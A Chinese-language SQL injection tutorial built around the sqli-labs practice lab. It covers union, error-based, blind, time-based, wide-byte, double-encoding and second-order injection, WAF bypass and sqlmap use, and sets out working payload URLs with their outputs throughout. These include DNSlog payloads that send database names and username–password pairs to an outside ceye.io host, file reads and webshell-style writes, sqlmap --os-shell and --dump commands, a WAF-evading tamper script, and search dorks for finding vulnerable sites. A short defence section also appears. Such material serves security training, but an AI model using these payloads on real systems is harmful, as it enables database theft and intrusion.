SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

Sqli-labs的安装

1.安装WAMP
http://www.wampserver.com/
WAMP是php + mysql + Apache环境集成工具

2.下载Sqli-labs
https://github.com/webattacker/sqli-labs
将Sqli-labs解压后整个目录拖拽到路劲:C:\wamp64\www 下

3.在浏览器上访问http://localhost
然后也可以浏览:http://localhost/sqli-labs-master/

sqli-labs包含的注入漏洞
1.报错注入
2.盲注
3.Update注入
4.Insert注入
5.Header注入
6.二阶注入
7.绕过WAF

4层Web架构
一层:表示层,访问URL,呈现HTML
二层:逻辑层,加载执行动态网页,发送HTML到浏览器,PHP,Jsp, Asp.Net
三层:应用层,利用应用程序和业务逻辑与数据库存储交互,SOAP, RMI, WEB服务
四层:存储层,执行SQL等,返回数据给三层

SQL注入的意思就是用户输入的数据带上了SQL语句

正常URL:
http://localhost/sqli-labs-master/Less-1/?id=1
SQL注入URL:

SQL注入常用的函数:
left(),返回往左边截取几位字符
floor(),返回小于或等于x的最大整数
rand(),返回0-1之间的一个随机数
extractvalue(),从目标xml中返回包含所查询的字符串
updatexml(),改变文档中符合条件的节点的值
sleep(),让此语句运行N秒钟后再继续执行
if(),例如:select if (1>2,3,4); 表示1>2成立使用3,反之使用4
char(),返回整数所表示的ASCII字符
strcmp(),比较两个字符串,相等是0,大于是1,小于是-1
ifnull(),
exp(),返回e的x次方

万能密码:
'or ‘1’=‘1’

MySQL注入语句样例分析

or 1=2 union select 1,user(),3
select user() regexp '^ro'
ascii(substr((select user()),1,1))=114
if(ascii(substr((select user()),1,1))=114,0,sleep(5))
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1))=9
updatexml(1,concat(0x7e,(select @@version), 0x7e), 1)

当修改SQL语句时,可能会报错,那么它就是报错注入

第五节、寻找SQL注入点

目标搜集
1.无特定目标: inurl:.php?id=
2.有特定目标:inurl:.php?id=site:target.com
3.工具爬取:spider,对搜索引擎和目标网站的连接进行爬取

注入识别:
手工简单识别:
执行成功,但是不报错:test.com?id=1’ and 1=1 --+
执行失败,但是不报错:test.com?id=1’ and 1=2 --+
and 1=1 / and 1=2
and '1'='1 / and '1'='2
and 1 like 1 / and 1 like 2
手工简单识别可以判断该网址是否存在SQL注入漏洞,如果没有报错,就是有注入漏洞

sqlmap工具可以识别的这些SQL注入漏洞
sqlmap -m filename (filename中保存检测目标)
sqlmap --crawl (sqlmap对目标网站进行爬取,然后依次进行检测)

高级识别:
扩展识别广度和深度:
sqlmap --level 增加测试级别,对header中的相关参数也进行测试
sqlmap -r filename (filename中的网站请求的数据)

利用工具提高识别效率:
BurpSuite + SqlMap
BurpSuite拦截所有浏览器访问提交的数据
BurpSuite扩展插件,直接调用SqlMap进行测试

一些tips:
可以在URL参数的后面键入 “*” 来确定想要测试的参数
可能出现注入的点:新闻、登录、搜索、留言
站在开发的角度去寻找

代码审计:
搜索关键代码和函数
梳理业务流程

SQL注入流程
1.信息收集
数据库类型,数据库版本,数据库用户,数据库提权
2.数据获取
获取库信息,获取表信息,获取列信息,获取数据(通过语句查询/暴力破解)
3.提权
执行命令,SQL SERVER sa权限
读文件,读中间件配置文件,读取数据库配置文件
写文件,写webshell到网站目录

第六节 SQL手工注入方法

MySQL数据库结构
1)、连接层(通信协议/线程/验证)
2)、SQL层(授权/解析/优化器/查询缓存/执行/日志)
3)、存储引擎层(磁盘/内存/网络)

MySQL内置的数据库
mysql,保存账户信息、授权信息、存储过程、event、时区信息
sys,包含了一系列的存储过程,自定义函数以及视图来帮助我们快速的了解系统的元数据信息
performance_schema,用于收集数据库服务器性能的参数
information_schema,访问数据库元数据的方式,数据库名,数据库表,数据类型和访问权限等

MySQL内置的information_schema库,它功能强大,是我们进行MySQL注入的基石,
通过information_schema我们可以窥探整个MySQL的运行情况,也可以查看数据库中所有的数据信息。

查询数据核心语法
查库: select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=库名
查列:select column_name from information_schema.columns where table_name=表名
查数据:select 列明 from 库名.表名

提示:
1.所有类型的sql注入,都是基于查库、表、列语句
2.如果数据太多,导致无法返回查询结果,可以使用limit显示返回的结果数量,回显场景使用,concat连接为一条数据返回
3.在一些场景需要快速获取数据,就需要借助工具,例如:BurpSuite

比如:
SQL注入1
获取一个数据库名称:
http://localhost/sqli-labs-master/Less-1/?id='union select 1,2,(select schema_name from information_schema.schemata limit 1)–+
实际的语句是:
SELECT * FROM users WHERE id=''union select 1,2,(select schema_name from information_schema.schemata limit 1)-- ' LIMIT 0,1

SQL注入2
获取所有数据库的名称:

http://localhost/sqli-labs-master/Less-1/?id='union select 1,2,(select group_concat(schema_name) from information_schema.schemata)–+’

实际的语句是:
SELECT * FROM users WHERE id=''union select 1,2,(select group_concat(schema_name) from information_schema.schemata)-- '' LIMIT 0,1
返回所有数据库名称

SQL注入3
指定数据库获取里面的所有的数据表名称:security可以写成database()

http://localhost/sqli-labs-master/Less-1/?id='union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+

实际的语句是:
SELECT * FROM users WHERE id=''union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')-- ' LIMIT 0,1
返回数据表名称

SQL注入4
指定数据表获取里面的所有的数据字段名称:

http://localhost/sqli-labs-master/Less-1/?id='union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)–+’

实际的语句是:
SELECT * FROM users WHERE id=''union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')-- '' LIMIT 0,1
返回数据表所有字段名称

SQL注入5
获取数据表的内容

http://localhost/sqli-labs-master/Less-1/?id='union select 1,2,(select group_concat(username) from security.users)–+

实际的语句是:
SELECT * FROM users WHERE id=''union select 1,2,(select group_concat(username) from security.users)-- ' LIMIT 0,1
返回表里的字段为username的数据

SQL注入6
获取数据表里的字段为username和password的内容,并使用0x7e合并起来,它表示波浪线

http://localhost/sqli-labs-master/Less-1/?id='union select 1,2,(select group_concat(username,0x7e,password) from security.users)–+

实际的语句是:
SELECT * FROM users WHERE id=''union select 1,2,(select group_concat(username,0x7e,password) from security.users)-- ' LIMIT 0,1
返回表里的字段为username和password的合并数据,波浪线分隔的

SQL注入7
会受权限限制,导致执行不生效
文件读取

http://localhost/sqli-labs-master/Less-1/?id='union select 1,2,(select load_file(‘C:\db-creds.inc’))–+

文件写入

http://localhost/sqli-labs-master/Less-1/?id='union select 1,2,(select ‘test’ into outfile ‘C:\a.txt’)–+

防止SQL注入的方式有:
1.验证输入的内容
2.参数化接收到请求参数 PHP的PDO
3.函数和类的控制
PHP的情况下,对参数id的处理
$id = $_GET['id'];
第一种
$id = intval($id);
if ($id) {}
第二种,在PHP4.0.3以上版本都可用
$id = mysql_real_escape_string($id);
第三种
修改php.ini的配置文件,开启GPC RUNTIME
magic_quotes_gpc = on
4.设置白名单
5.编码输入输出

SQL注入语法类型

UNION介绍

SQL UNION操作符用于合并两个或者多个select语句的结果集。

注意:
1.UNION内部select语句必须拥有相同数量的列
2.列也必须拥有相似的数据类型
3.每条select语句的列的顺序必须相同

UNION注入应用场景
1.只有最后一个select子句允许有order by
2.只有最后一个select子句允许有limit
3.只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果了
4.注入点页面有回显。

例如:
报错语句:select * from users order by id union select 1,2,3;
报错语句:select * from users limit 0,1 union select 1,2,3;

步骤分解:
1.使用order by来确定列数,
比如:select * from users order by 2;就是表示对第二列排序,如果是3就是对第三列排序
语句:http://localhost/sqli-labs-master/Less-1/?id=1’ order by 3–+
实际语句:SELECT * FROM users WHERE id='1' order by 4-- ' LIMIT 0,1

2.观察页面返回,选取可以显示数据的位置,进行下一步的注入

3.读库信息

语句:http://localhost/sqli-labs-master/Less-1/?id=-1’ union select 1,user(),database() --+
实际语句:SELECT * FROM users WHERE id='-1' union select 1,user(),database() -- ' LIMIT 0,1

4.读表信息

语句:

http://localhost/sqli-labs-master/Less-1/?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+

实际语句:SELECT * FROM users WHERE id='-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') -- ' LIMIT 0,1

5.读字段

语句:

http://localhost/sqli-labs-master/Less-1/?id=-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+

实际语句:SELECT * FROM users WHERE id='-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') -- ' LIMIT 0,1

6.读数据

语句:

http://localhost/sqli-labs-master/Less-1/?id=-1’ union select 1,2,(select group_concat(username,0x7e,password) from users) --+

实际语句:SELECT * FROM users WHERE id='-1' union select 1,2,(select group_concat(username,0x7e,password) from users) -- ' LIMIT 0,1

注意:如果后端程序有对单引号做限制,那么我们可以把数据库或数据表名或字段名转换成十六进制,把十六进制前面加上0x,通过hackbar就可以做到

报错注入

报错注入原理
就是我们自己构造请求参数,使接口或者后端返回错误,以达到让我们更多的了解select、update、insert语句的问题所在

报错注入方法
floor()函数
根据报错信息获取数据库版本信息
原句:

http://localhost/sqli-labs-master/Less-1/?id=1’ and (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*10))) --+’

实际返回:SELECT * FROM users WHERE id='1' and (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*10))) -- '' LIMIT 0,1
Duplicate entry ‘5.7.26~7’ for key ‘’

根据报错信息获取数据表名称
原句:

http://localhost/sqli-labs-master/Less-1/?id=1’ and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 2,1),0x7e,floor(rand(0)*2))) --+’

实际返回:SELECT * FROM users WHERE id='1' and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 2,1),0x7e,floor(rand(0)*2))) -- '' LIMIT 0,1
Duplicate entry ‘uagents~1’ for key ‘’

根据报错信息获取数据表字段名称
原句:

http://localhost/sqli-labs-master/Less-1/?id=1’ and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name=‘users’ limit 4,1),0x7e,floor(rand()*10))) --+’

实际返回:SELECT * FROM users WHERE id='1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e,floor(rand()*10))) -- '' LIMIT 0,1
Duplicate entry ‘username~7’ for key ‘’

根据报错信息查询具体的数据
原句:

http://localhost/sqli-labs-master/Less-1/?id=1’ and (select count(*) from information_schema.tables group by concat((select concat(username,0x3a,password) from users limit 2,1),0x7e,floor(rand()*10))) --+’

实际返回:SELECT * FROM users WHERE id='1' and (select count(*) from information_schema.tables group by concat((select concat(username,0x3a,password) from users limit 2,1),0x7e,floor(rand()*10))) -- '' LIMIT 0,1
Duplicate entry ‘Dummy:p@ssword~5’ for key ‘’

如果把这种方式放到BurpSuite,那效果更好,也快

extractvalue()函数
根据报错信息获取用户登录名和地址
原句:

http://localhost/sqli-labs-master/Less-1/?id=1’ and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+

实际返回:SELECT * FROM users WHERE id='1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) -- ' LIMIT 0,1
XPATH syntax error: ‘root@localhost

根据报错信息来查询数据
原句:

http://localhost/sqli-labs-master/Less-1/?id=1’ and extractvalue(1,concat(0x7e,(select concat(username, 0x3a,password) from users limit 3,1),0x7e)) --+

实际返回:SELECT * FROM users WHERE id='1' and extractvalue(1,concat(0x7e,(select concat(username, 0x3a,password) from users limit 3,1),0x7e)) -- ' LIMIT 0,1
XPATH syntax error: ‘secure:crappy

如果值太长请使用substr()截取
在concat那块代码和上面的都一样

updatexml()函数
和extractvalue()函数一样的操作

SQL盲注

布尔盲注

代码存在SQL注入漏洞,然后页面不会回显数据,也不会回显错误信息
构造逻辑判断语句,判断信息的真假,去除所有的真值,实现SQL注入
常用函数
1.left()函数,left(database(),1)>‘s’
2.regexp(),select user() regexp ‘^r’
3.like,select user() like ‘ro%’
4.substr()函数,substr(a,b,c)
ascii()函数,ascii(substr((select database()),1,1))=98
5.ord()函数,ord(mid((select user()),1,1))=114
mid()函数,mid(a,b,c)

盲注本质就是猜测

示例:

猜测数据库名的第一位是不是字母s?
原:

http://localhost/sqli-labs-master/Less-8/?id=1’ and left((select database()),1)=‘s’ --+

SQL:SELECT * FROM users WHERE id='1' and left((select database()),1)='s' -- ' LIMIT 0,1

猜测第3个数据库的数据表名与user是否相匹配,使用like模糊查询,like ‘user%’ 可以换成正则表达式 regexp ‘^user’
原:

http://localhost/sqli-labs-master/Less-8/?id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),10) like ‘user%’ --+

SQL:SELECT * FROM users WHERE id='1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),10) like 'user%' -- ' LIMIT 0,1

也可以使用BurpSuite来快速猜测,猜测相应结果以页面显示相应的内容为主,因为页面不是显示具体的数据库里的数据值

时间盲注

因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注,意思就是说,根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在即是时间盲注
就是说白了,让页面请求根据我们输入的延时时间来延时响应

if语法就是一个三元运算符函数
核心语法:if(left(user(), 1)='a',0,sleep(3))

测试是否存在时间盲注:

http://localhost/sqli-labs-master/Less-10/?id=1" and if(left(user(),1)=‘a’,0,sleep(3)) --+

这个sleep(3)表示让页面返回响应时延迟3秒,然后依次类推,可以尝试出数据库名,数据表名,这些操作也可以写一个python脚本,方便猜测

Dnslog盲注

DNSlog盲注就是通过load_file函数发起请求,然后去DNSlog平台接收数据
DNS是(Domain Name System)就是说将域名和IP地址做一个映射,以便于我们通过一个域名就可以访问一个服务器上的网站应用
1.每个服务器都必须要有一个独立的公网IP地址,这就可以让客户端根据该IP:port访问网站,或者根据域名访问
2.DNSlog就是记录用户访问网站域名时,记录DNS和对应的IP的转换访问日志

时间盲注和布尔盲注就是对每个字母数字下划线进行猜测,过多的猜测次数访问会触发网站的安全防御机制

Dnslog平台:http://ceye.io/
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息

MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据
核心语法:select load_file(concat('\\\\', (select database()), '.mysql.r4ourp.ceye.io\\abc'))
通过SQL执行后,将内容输出到DNSlog中记录起来,然后我们可以在DNSlog平台查询回显数据

注意:load_file()只能在windows平台上才能发起请求,linux下是不行的
教程:https://www.jianshu.com/p/d6788f57dba5

可以在终端上操作DNSlog显示的内容

$curl 1qumq2.ceye.io
$curl mysql.1qumq2.ceye.io

都会返回

{“meta”: {“code”: 201, “message”: “HTTP Record Insert Success”}}%

然后去ceye的DNS Query和HTTP去查看,就有一条解析记录了

查询数据语句:select load_file(concat('\\\\',(select database()),'.1qumq2.ceye.io\\abc'));

如果不能正确使用load_file()函数,则去配置下https://www.cnblogs.com/afanti/p/8047530.html

查询数据库名
原:

http://localhost/sqli-labs-master/Less-9/?id=1’ and load_file(concat(’\\’,(select database()),’.1qumq2.ceye.io\abc’)) --+

SQL: SELECT * FROM users WHERE id='1' and load_file(concat('\\\\',(select database()),'.1qumq2.ceye.io\\abc')) -- ' LIMIT 0,1

查询当前数据库登录名
原:

http://localhost/sqli-labs-master/Less-9/?id=1’ and load_file(concat(’\\’,hex((select USER())),’.1qumq2.ceye.io\abc’)) --+

SQL:SELECT * FROM users WHERE id='1' and load_file(concat('\\\\',hex((select USER())),'.1qumq2.ceye.io\\abc')) -- ' LIMIT 0,1
为什么要用hex()函数?因为域名里不能有特殊字符,所以我们使用十六进制转换下

查询数据库security里的第一张表名
原:

http://localhost/sqli-labs-master/Less-9/?id=1’ and load_file(concat(’\\’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’.1qumq2.ceye.io\abc’)) --+

SQL:SELECT * FROM users WHERE id='1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.1qumq2.ceye.io\\abc')) -- ' LIMIT 0,1

查询数据表的列名
原:

http://localhost/sqli-labs-master/Less-9/?id=1’ and load_file(concat(’\\’,(select column_name from information_schema.columns where table_name=‘users’ limit 3,1),’.1qumq2.ceye.io\abc’)) --+

SQL:SELECT * FROM users WHERE id='1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 3,1),'.1qumq2.ceye.io\\abc')) -- ' LIMIT 0,1

查询数据表的数据
原:

http://localhost/sqli-labs-master/Less-9/?id=1’ and load_file(concat(’\\’,(select hex(concat(username,’||’,password)) from security.users LIMIT 0,1),’.1qumq2.ceye.io\abc’)) --+

SQL:SELECT * FROM users WHERE id='1' and load_file(concat('\\\\',(select hex(concat(username,'||',password)) from security.users LIMIT 0,1),'.1qumq2.ceye.io\\abc')) -- ' LIMIT 0,1

以上四种都可以在ceye.io上查询DNS的解析

自己编写脚本自动获取这些数据

BETU
B: Boolean-based blind SQL injection
E: Error-based SQL injection
T: Time-based Blind injection
U: UNION query SQL injection

宽字节注入

GB2312,GBK,GB18030,BIG5,Shift_JIS等这些都是常说的宽字节,实际为两字节
也就是说,除了英文,其他的语言字符都是一个字符占两个字节
一个字节有8位二进制,数字的0和1组合种类有255种

ASCII到目前为止共定义了128个字符

确定注入有几列

http://localhost/sqli-labs-master/Less-32/?id=1%df’ order by 3–+

确定有列了后,就可以联合注入

http://localhost/sqli-labs-master/Less-32/?id=%df’ union select 1,2,3–+

在此基础上读取登录名信息

http://localhost/sqli-labs-master/Less-32/?id=%df’ union select 1,(select user()),3–+

然后读取有多少数据库,数据表,以及数据是什么,跟上面的操作一样

注意:
1.使用utf-8,可以避免宽字节注入
2.使用mysql_real_escape_string,需要设置mysql_set_charset(‘gbk’, $conn),可以避免宽字节注入
3.可以设置参数,character_set_client=binary
4.自定义函数对接收参数的斜杠符号过滤

二次编码注入

防御:会将 ’ 转换为 ’
绕过:将 \ 消灭

宽字节注入:GBK编码处理编码的过程存储有问题
二次编码注入:urldecode()与PHP本身处理编码时两者配合失误,可构造数据消灭
SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用_第1张图片
例子不可以注入:
1.用户输入 id=1%27
2.PHP自身编码 id=1’
3.转义 id=1’
4.带入SQL id=1’and

例子可以注入:
1.用户输入 id=1%2527
2.PHP自身编码 id=1%27
3.转义 id=1%27
4.函数编码 id=1’
5.带入SQL id=1’and
这是因为%25经过解码后就是一个百分号,百分号在配合27就是一个
SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用_第2张图片
如何发现二次编码注入漏洞
1.黑盒测试
在可能的注入点后键入%2527,之后进行注入测试
2.白盒测试
1).是否使用urldecode函数
2).urldecode函数是否在转义方法之后

先发现数据查询有多少列

http://localhost/sqli-labs-master/Less-1/second-encoding-injection.php?id=1%2527 order by 4–+

查询到有3列,然后尝试查询三列数据,是否显示正确

http://localhost/sqli-labs-master/Less-1/second-encoding-injection.php?id=%2527 union select 1,2,3–+

然后查询当前的数据库登录名和数据库名

http://localhost/sqli-labs-master/Less-1/second-encoding-injection.php?id=%2527 union select 1,(select user()),(select database())–+

二次注入

二次注入的防御:
程序内部的数据调用,需要严格进行检查,一旦不小心,测试者就能将特定的SQL语句带入到查询当中去
SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用_第3张图片
二次注入说白了,就是在插入数据时是有注入漏洞代码随着正常数据一起被插入到了数据库,然后该数据在读取时未判断数据的正确性就直接被读取出来了
由于sqli-labs里没有这样的环境,所以我们自己写了一个文件,主要代码如下:


include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{
	$id=mysql_real_escape_string($_GET['id']);
	$id=urldecode($id);
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	echo "$sql"."
"
; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo ""; echo 'Your Login name:'. $row['username']; echo "
"
; echo 'Your Password:' .$row['password']; echo "
"
; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value";} ?>

注入URL:

http://localhost/sqli-labs-master/Less-1/second-encoding-injection.php?id=%2527 union select 1,2,3–+

http://localhost/sqli-labs-master/Less-1/second-encoding-injection.php?id=%2527 union select 1,(select user()),(select database())–+

页面返回数据库登录用户名和数据库名
SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用_第4张图片

二次注入在注册登录时的应用

例如:
试验地址:http://localhost/sqli-labs-master/less-24/new_user.php
输入注册信息
用户名:admin’#
密码:123

注册成功后登录上…
登录地址:http://localhost/sqli-labs-master/less-24/login.php

然后修改密码
修改密码地址:http://localhost/sqli-labs-master/less-24/logged-in.php
输入旧密码:123
输入新密码:111

提交修改密码后,查看数据库,修改的不是admin’#账号的密码,而是账号admin的密码,这是因为造成的SQL注入
注入原始SQL是:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
被填充内容后的SQL是
$sql = "UPDATE users SET PASSWORD='111' where username='admin'#' and password='123' ";
把这段URL放到MySQL可视化工具里看下
在这里插入图片描述
因为#号后面的代码都是注释掉了,所以最终更新的是admin账号的密码



WAF绕过原理分析

Web Application Firewall

WAF绕过原理
Web Application Firewall = Web应用程序防火墙

熟练掌握MySQL函数和语法使用方法
也就对每个接收到的参数进行过滤,比如过滤函数blacklist()

function blacklist($id)
{
   $id=preg_replace('/or/i',"",$id);
   $id=preg_replace('/AND/i',"",$id);
   return $id;
}

1.白盒绕过
因为白盒场景下,测试人员可以看具体的代码是如何编写的,所以比较好测试,找出漏洞

2.黑盒绕过
黑盒场景,就是猜测和尝试
参考文章:www.mottoin.com/86886.html
1).架构层绕过WAF
a.寻找源站 -> 针对云WAF
b.利用同网段 -> 绕过WAF防护区域
c.利用边界漏洞 -> 绕过WAF防护区域
2).资源限制角度绕过WAF
a.POST提交比较大BODY,导致WAF无法去检测,过多的检测会造成网络响应慢
3).协议层面绕过WAF的检测
a.协议未覆盖绕过WAF
请求方式变换:GET -> POST
Contet-Type变换:application/x-www-form-urlencoded; -> multipart/form-data;
b.参数污染
4).规则层面的绕过
主要的绕过方式
a.SQL注释符绕过
就是通过注释的方式来绕过,比如:/aaaaaaa/
b.空字符绕过
就是空格符号,比如:%09,%0A,%0B,%20
c.函数分割符号
concat%2520(
concat/**/(
concat%250c(
concat%25a0(
d.浮点数词法解析
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0union select 1,2,3
select * from users where id=\Nunion select 1,2,3
e.利用error-base进行SQL注入
也就是报错注入,有这些函数可以使用extractvalue,updatexml,Geometry,polygon,linestring,multipoint,multilinestring,multipolygon
f.MySQL的特殊语法
select {x table_name} from {x information_schema.tables};

3.Fuzz绕过WAF
注释符绕过
a.先测试最基本的:union /**/select
b.再测试中间引入

WAF的SQL攻防
https://www.freebuf.com/column/163469.html






SqlMap的使用

SQLMap是注入扫描工具,主要的有盲推理SQL注入、UNION查询SQL注入、堆查询和盲注。

https://github.com/webattacker/sqlmap

SQLmap:SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB…SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用_第5张图片

第一步:先去尝试url是否可以被注入,例如在参数后面加上 and 1 或者 and 0

第二步:使用sqlmap.py来进行注入测试,命令是
python sqlmap.py -u "http://my.com/inject.php?id=1"
参数-u:表示指定目标注入地址
为了规范起见,使用双引起包括起来地址
询问:是否跳过对其他DBMS测试,输入:Y
询问:等级,输入:Y
询问:继续测试,输入:y
然后自动化注入测试的结果就会显示出来,操作系统,数据库,哪个地址,可以被如何注入等信息都有了

第三步:列出所有的数据库,命令是
python sqlmap.py -u "http://my.com/inject.php?id=1" --dbs

第四步:查询当前使用的数据库,命令是
python sqlmap.py -u "http://my.com/inject.php?id=1" --current-db
python sqlmap.py -u "http://my.com/inject.php?id=1" --current-user

第五步:查询第四步的数据库下有多少数据表,这里查询到的数据库名是sqlinject
python sqlmap.py -u "http://my.com/inject.php?id=1" -D sqlinject --tables

第六步:查询第五步的某张数据表下有多少字段,这里查询到的数据表名是admin
python sqlmap.py -u "http://my.com/inject.php?id=1" -D sqlinject -T admin --columns

第七步:导出数据表的数据
python sqlmap.py -u "http://my.com/inject.php?id=1" -D sqlinject -T admin -C id,username,password --dump
询问是否按照模板字典密码暴力破解MD5密码,输入:Y
询问按照哪种字典方式破解密码,输入:1
稍等片刻,根据数据的大小时间不定,最后将可以被破解的密码都破解了

SQLMap的POST注入

通过POST请求方式,传递参数,SQL注入,尤其指参数id要被SQL注入
python sqlmap.py -u "http://my.com/login.php" --method POST --data "id=1&pwd=123456" -p id

将一个post请求头原始Raw信息保存成c:/post.txt文件,然后执行文件获取所有数据库名
python sqlmap.py -r c:/post.txt --dbs

SQLMap的cookie注入

1.直接先打开一个URL在Chrome上,然后输入javascript:alert(document.cookie="id="+escape("1"))到地址栏,则id=1就被加入到了刚才的URL页面的cookie
2.通过sqlmap.py文件操作,命令是
python sqlmap.py -u "http://my.com/test.php" --cookie "id=1" --level 2
如果希望显示所有的数据库名称,则在后面加上–dbs

SQLMap的sql语句的使用

1.直接执行SQL语句
python sqlmap.py -u "http://my.com/test.php" --sql-query="select @@version"
2.交互式的SQL命令行
python sqlmap.py -u "http://my.com/test.php" --sql-shell
3.执行文件中的SQL语句
python sqlmap.py -u "http://my.com/test.php" --sql-file="c:/1.sql"

使用系统命令
python sqlmap.py -u "http://my.com/test.php" --os-shell

使用sql命令
python sqlmap.py -u "http://my.com/test.php" --sql-shell

文件读取
python sqlmap.py -u "http://my.com/test.php" --file-read

文件写入
python sqlmap.py -u "http://my.com/test.php" --file-write

在SqlMap目录下的tamper文件夹当中

有很多有用的脚本,各自代表着不同的意思

SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用_第6张图片
Tamper的一个例子
我们拿sqli-labs的Less-28举例子
原URL:

http://localhost/sqli-labs-master/Less-28/?id=1

通过直接使用sqlmap.py是不能注入的

python sqlmap.py -u “http://localhost/sqli-labs-master/Less-28/?id=1” --flush-session

2分钟左右,会提示不能注入:

[WARNING] GET parameter ‘id’ does not seem to be injectable

对此,我们就需要自己写一个tamper脚本来绕过该页面的注入防御
脚本内容如下:

#!/usr/bin/env python
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW
def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload = payload.replace('union select', "union all select").replace(' ', '%0a')
    return payload

主要就是tamper函数,我们通过替换union selectunion all select,而空格替换为%0a。脚本为什么要这么写?这是因为在sqli-labs的less-28关卡中,PHP的源代码中在接收参数的地方,有一个blacklist()函数,我们写脚本就是为了绕过它,这是PHP的blacklist()函数的实现

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

编写完后,我们将其命名为sqli-labs-28.py放置到tamper目录下,然后我们再次执行sqlmap命令尝试注入

python sqlmap.py -u “http://localhost/sqli-labs-master/Less-28/?id=1” --flush-session --tamper=sqli-labs-28.py

1分钟左右,可以看到提示为id是可以被注入的,注入方式为布尔盲注时间盲注
SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用_第7张图片

然后,我们继续,获取所有数据库的名称,只需要添加一个–dbs参数即可

python sqlmap.py -u “http://localhost/sqli-labs-master/Less-28/?id=1” --flush-session --tamper=sqli-labs-28.py --dbs

不一会儿,就有如下的输出:
SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用_第8张图片




SqlMap和BurpSuite配置使用

将SQLMAP注入攻击的所有请求通过代理的方式,那么我们BurpSuite就配置了127.0.0.1:8080的代理

python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --flush-session --technique=U --proxy=http://127.0.0.1:8080

就能看到BurpSuite拦截到了所有的请求,如图所示:
SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用_第9张图片

一种去掉SQL的前后闭合符号的好方法,就是通过–prefix和–suffix参数

python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --flush-session --technique=U --proxy=http://127.0.0.1:8080 --prefix=)))) --suffix="-- hh"

一种去掉SQL的前后闭合符号的好方法,就是通过--prefix--suffix参数

python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --flush-session --technique=U --proxy=http://127.0.0.1:8080 --prefix=)))) --suffix="-- hh"

payload几个参数,有时候低版本的MySQL中不能使用CAST函数,则我们需要把cast函数换成–no-cast
--no-castcast()
关闭cast函数的使用
对于一些版本的mysql服务器需要关闭此选项,不然会报错

--no-escapechar()
